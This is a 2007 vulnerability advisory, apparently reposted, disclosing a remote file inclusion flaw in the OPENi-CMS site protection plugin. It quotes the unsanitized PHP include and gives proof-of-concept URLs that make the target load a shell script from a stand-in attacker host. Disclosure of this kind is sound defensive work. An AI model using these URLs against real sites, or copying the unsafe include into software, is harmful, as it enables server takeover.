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OPENi-CMS Site Protection Plugin Remote File Inclusion Vulnerability

🗓️ 12 Feb 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

OPENi-CMS Site Protection Plugin Remote File Inclusion Vulnerability. Vulnerable Openi CMS plugin allows remote file inclusion via unsanitized "oi_dir" variable in index.php, potentially exploited by attackers to inject PHP scripts

Code

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[ECHO_ADV_64$2007] Openi CMS plugins (site protection) remote file inclusion
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Author : Ahmad Muammar W.K (a.k.a) y3dips
Date Found : February, 11 2007
Location : Indonesia, Jakarta
web : http://echo.or.id/adv/adv64-y3dips-2007.txt
Critical Lvl : Critical
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Internal range (site protection), version: 1.0
Openi CMS plugins (http://www.openi-cms.org)
URL : http://www.openi-cms.org
Download-path : http://www.openi-cms.org/oi-download.php/45/file_src/oi_plugin_site_protection_1_0.zip

Description : With this Plugin you can release page ranges only for certain users. The user
must authentifizieren itself with user name and password. Several users for
a page range can be put on. Users and sides which can be protected are put on
in the editorship environment by the administrator.

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Vulnerability:
~~~~~~~~~~~~~~

Variables "oi_dir" in index.php are not properly sanitized.

---------------index.php --------------------
...
<?PHP
global $config;
require_once($config["oi_dir"]."/base/sitemap_classes.php");

class plg_site_protection extends Plugin {
...
----------------------------------------------


An attacker can exploit this vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~~~~~

http://target-openi/open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=http://attacker/shell.php ?

Notes:
~~~~~~

i have to change the variable "oi_dir" to "openi_dir" to get the cms works (config file),
but then u just change the exploit to

http://target-openi/open-admin/plugins/site_protection/index.php?config%5bopeni_dir%5d=http://attacker/shell.php?

it doesnt matter coz the variable still unsanitized.

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Shoutz:
~~~~~~~
~ my lovely ana
~ k-159 (never stop advising [pushing] me :P), the_day (echo young evil thinker),
~ and all echo staff
~ str0ke, waraxe, negative
~ [email protected]
~ #e-c-h-o @irc.dal.net

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Contact:
~~~~~~~~

y3dips|| echo|staff || y3dips[at]gmail[dot]com
Homepage: http://y3dips.echo.or.id/

 
                              

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